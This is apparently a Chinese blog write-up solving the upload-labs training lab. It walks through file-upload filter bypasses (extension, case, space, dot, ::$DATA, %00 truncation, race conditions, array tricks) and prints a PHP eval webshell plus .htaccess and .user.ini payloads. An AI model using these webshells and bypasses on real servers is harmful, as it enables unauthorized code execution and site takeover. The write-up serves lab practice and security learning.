upload-labs刷题记录
环境配置
更改httpd.conf
- AllowOverride None 替换为AllowOverride All
- #Addtype application/x-httpd-php .php .php3 这一行取消注释并添加.php5和.phtml
Less-01 JS检查后缀
- 上传1.php,显示该文件不允许上传
- 抓包尝试改后缀但没有包就提示了禁止上传,怀疑是js控制后缀检查
- 禁用js,重复尝试一直显示上传失败,很不科学,最后发现是Windows defender开着防火墙……,可以用免杀马或者关了防火墙,于是关掉防火墙
- 上传成功并getshell
Less-02 Content-Type检测
- 上传2.php,显示文件类型不正确
- 改名2.jpg,抓包改成2.php,上传成功并getshell
- 猜测为js检测,禁用js直接传php,但是上传失败
- 猜测为后端检测Content-Type: image/jpeg,上传php,抓包改http请求头,上传成功,证明猜测正确
Less-03 黑名单绕过
- 直接传图片,可以
- 禁用js传php,失败
- 上传php3,发现可以上传但利用时间重命名了,格式为年月日时分秒+rand(1000,9999),在回显的源码里有文件名,下面是我自己写的爆破文件名的脚本
- 连接.php3文件getshell
1 | 爆破文件名脚本 |
Less-04 .htaccess文件解析
- 上传测试图片成功
- 禁用js,传php,提示该类型不允许上传
- 传php,抓包更改content-type,失败
- 传php3、php5、phtml、.phP都失败
- fuzz发现.htaccess可以穿,于是上传.php6文件,内容如下
1
<?php @eval($_POST['shell']);?>
- 抓包上传.htaccess文件,内容如下
1
2
3<FilesMatch "4.php6">
SetHandler application/x-httpd-php
</FilesMatch> - 成功getshell
Less-05 .user.ini利用
注:需使用php-nts格式
- 上传测试图片成功
- 禁用js,传php,提示该类型不允许上传
- 传php,抓包更改content-type,失败
- 传php3、php5、phtml、.phP都失败
- .htaccess上传失败
- 5.php空格上传失败
- 5.php.上传失败
- 查看源代码,也没发现啥突破点
- 查看提示存在upload目录readme.php,想到了SUCTF2019提到的.user.ini利用,于是上传.user.ini,内容为
1
auto_prepend_file=5.pass
- 上传5.pass内容为一句话木马,成功getshell
Less-06 大小写绕过黑名单
- 上传测试图片成功
- 禁用js,传php,提示该类型不允许上传
- 传php,抓包更改content-type,失败
- 传php3、php5、phtml、.phP都失败
- .htaccess上传失败
- 上传6.phP上传成功,查看回显文件名并getshell
Less-07 空格绕过
- 上传测试图片成功
- 禁用js,传php,提示该类型不允许上传
- 传php,抓包更改content-type,失败
- 传php3、php5、phtml、.phP都失败
- .htaccess上传失败
- 更改大小写上传失败,查看源码无果,查看提示无果
- 查看师傅们的wp,发现是没有对文件名进行去空处理
- 上传7.php空格 ,成功getshell
Less-08 文件名加点绕过
- 上传测试图片成功
- 禁用js,传php,提示该类型不允许上传
- 传php,抓包更改content-type,失败
- 传php3、php5、phtml、.phP都失败
- .htaccess上传失败
- 更改大小写上传失败
- 上传8.php空格 ,上传失败
- 上传8.php. ,成功上传并getshell
Less-09 文件流特性绕过
- 上传测试图片成功
- 禁用js,传php,提示该类型不允许上传
- 传php,抓包更改content-type,失败
- 传php3、php5、phtml、.phP都失败
- .htaccess上传失败
- 更改大小写上传失败
- 上传9.php空格 ,上传失败
- 上传9.php.,上传失败
- 上传9.php::$DATA,上传成功并getshell
Less-10 文件名.空格.绕过
- 上传测试图片成功
- 禁用js,传php,提示该类型不允许上传
- 传php,抓包更改content-type,失败
- 传php3、php5、phtml、.phP都失败
- .htaccess上传失败
- 更改大小写上传失败
- 上传10.php空格 ,上传失败
- 上传10.php.,上传失败
- 上传10.php::$DATA,上传失败
- 查看源代码,发现删除了最后的.并且首尾去空,构造
- php. . ,首先删掉最后一个点,然后文件名会变为10.php. ,首尾去空后文件名为php.,传入Windows会变为10.php,故上传成功并getshell
Less-11 双写绕过
- 上传测试图片成功
- 禁用js,传php,提示该类型不允许上传
- 传php,抓包更改content-type,失败
- 传php3、php5、phtml、.phP都失败
- .htaccess上传失败
- 更改大小写上传失败
- 上传11.php空格 ,上传失败
- 上传11.php.,上传失败
- 上传11.php::$DATA,上传失败
- 查看源代码,发现将黑名单进行了一次替换为空,双写绕过即可,上传11.pphphp,成功getshell
Less-12 GET%00截断绕过
环境要求:php<5.3.4,php.ini的magic_quotes_gpc改为off
- 上传测试图片成功
- 禁用js,传php,提示该类型不允许上传
- 传php,抓包更改content-type,失败
- 传php3、php5、phtml、.phP都失败
- .htaccess上传失败
- 更改大小写上传失败
- 上传12.php空格 ,上传失败
- 上传12.php.,上传失败
- 上传12.php::$DATA,上传失败
- 查看源代码,日白名单,但是路径可控,于是可以构造路径并使用%00截断,构造路径为../upload/12.php%00,上传12.jpg,上传成功,菜刀连接成功getshell
Less-13 POST%00截断绕过
白名单,但是路径可控,于是可以构造路径并使用%00截断,构造路径为../upload/13.php%00,但是因为是post类型传输,所以需要在二进制中修改,上传成功,菜刀连接成功getshell
Less-14 读取文件头检测绕过
只用fead读取了文件的两个字节,制作图片马,然后文件包含即可,无难度
Less-15 getimagesize()绕过
getimagesize()读取了文件类型及大小等,图片马+文件包含即可,无难度*2
Less-16 php_exif检测
exif_imagetype()检测文件类型,图片马+文件包含仍然可以过,无难度*3
Less-17 二次渲染绕过
gif格式图片
上传一张gif,下载下来经过二次渲染的图片,diff这两张图片,在未经修改的地方插入一句话即可
png格式图片
复现失败,有空再来补……
jpg格式图片
复现失败,有空再来补……
Less-18 黑名单条件竞争
上传18_write.php,内容为
1 | <?php |
开20线程发包,并开5线程访问18_write.php,只要访问成功一次即可写入18.php,成功getshell
Less-19 白名单条件竞争
上传19.write.jpg,内容为
1 | <?php |
开20线程发包,并开5线程访问include.php?file=19_write.jpg,只要访问成功一次即可写入19.php,成功getshell
Less-20 /.绕过
move_uploaded_file()会忽略掉文件末尾的/. ,因此设置save_name为20.php/.,可成功上传文件并getshell
Less-21 数组绕过
审计代码,发现对不是数组的时候做出了一定的处理,但是没有对数组进行处理,end()函数取数组中最后一个值,reset()函数取第一个值,于是我们令save_name[0]=21.php/,save_name[2]为jpg
于是
1 | reset($file) . '.' . $file[count($file) - 1]; |
结果就是21.php/.,move_uploaded_file()会忽略掉/.,上传21.php,成功getshell
参考文章
后面会推一篇关于文件上传的思路总结,也是对于upload-labs的整体记录吧,到此完结。
本文链接: https://yd0ng.github.io/2020/02/01/Upload-labs-WriteUps/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!